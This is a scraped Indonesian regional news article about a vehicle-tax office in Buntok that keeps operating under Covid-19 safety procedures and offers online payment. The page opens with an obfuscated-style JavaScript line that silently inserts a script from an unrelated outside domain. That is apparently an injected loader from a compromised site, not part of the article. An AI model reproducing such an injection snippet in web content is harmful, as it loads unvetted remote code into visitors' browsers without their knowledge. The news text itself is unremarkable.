(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kanal

Pakai SOP Covid-19, UPT PPD Buntok Tetap Operasional Beri Pelayanan Masyarakat


KANALKALIMANTAN.COM, BUNTOK – Meski saat ini Kabupaten Barsel berstatus zona merah Covid-19, namun sejumlah pelayanan dalam Unit Pelayanan Teknis Pelayanan Pendapatan Daerah (UPT PPD) atau Samsat Buntok tetap berjalan sesuai Standar Pelayanan Oprasional (SOP).

Kepala UPT PDD Trisnawati SE mengatakan, untuk pelayanan di samsat Buntok saat pandemi Covid-19 tetap berjalan normal. Namun dilaksanakan sesuai SOP yakni sesuai dengan anjuran pemerintah terkait jaga jarak baik antara petugas Samsat maupun pengunjung.

“Jadi kita tetap melakukan pelayanan seperti biasanya namun sekarang lebih menyesuaikan seperti anjuran Pemerintah, yakni dilakukan sesuai SOP sekarang,” kata Trisnawati kepada Kanalkalimantan.com, di kantornya Selasa (28/4/2020).

Dijelaskan olehnya, para pemohonan yang datang untuk mengurus izin akan dilakukan pengecekan suhu memakai alat termogan. Selain itu disediakannya alat cuci tangan dan hand sanitizer dan para pemohon juga dilakukan jarak saat menunggu proses pelayanan. “Jadi dari tempat cuci tangan dan antis kita sediakan, selain itu pemohon juga dilakukan pengecekan suhu tubuh serta saat menunggu proses dilakukan jarak sesama pemohon lain,” beber Trisnawati.

Lebih lanjut olehnya untuk capain target realisasi penerimaan UPT PDD pada tri wulan pertama tahun 2020 ini masih bisa dibilang mencapai target untuk samsat Buntok sendiri. Yakni 31,55% tidak jauh dengan capain target yang ditargetkan oleh samsat Buntok. “Jadi walaupun ditengah pandemi covid-19, untuk capain target kita pada tri wulan pertama masih bisa dibilang mencapai target yang di inginkan,” ujar Trisnawati.

Ditambahkan olehnya selain pelaksanaan pembayaran pajak langsung ke Samsat Buntok, pihaknya juga telah membuka pelayanan Samsat Online atau Samolnas jadi pemohon tidak usah sampai antri lagi nanun bisa lakukan proses pembayaran dengan sistem online.

“Jadi kita juga telah membuka sistem online sehingga pemohon bisa mengurus pajaknya lewat online dan tidak perlu ikut antri melakukan pemohonan pembayaran pajak,” pungkas Trisnawati.(kanalkalimantan.com/digdo)

 

Reporter : Digdo
Editor : Cell

 


Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

2 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

5 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

9 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

9 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

10 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

11 jam ago

This website uses cookies.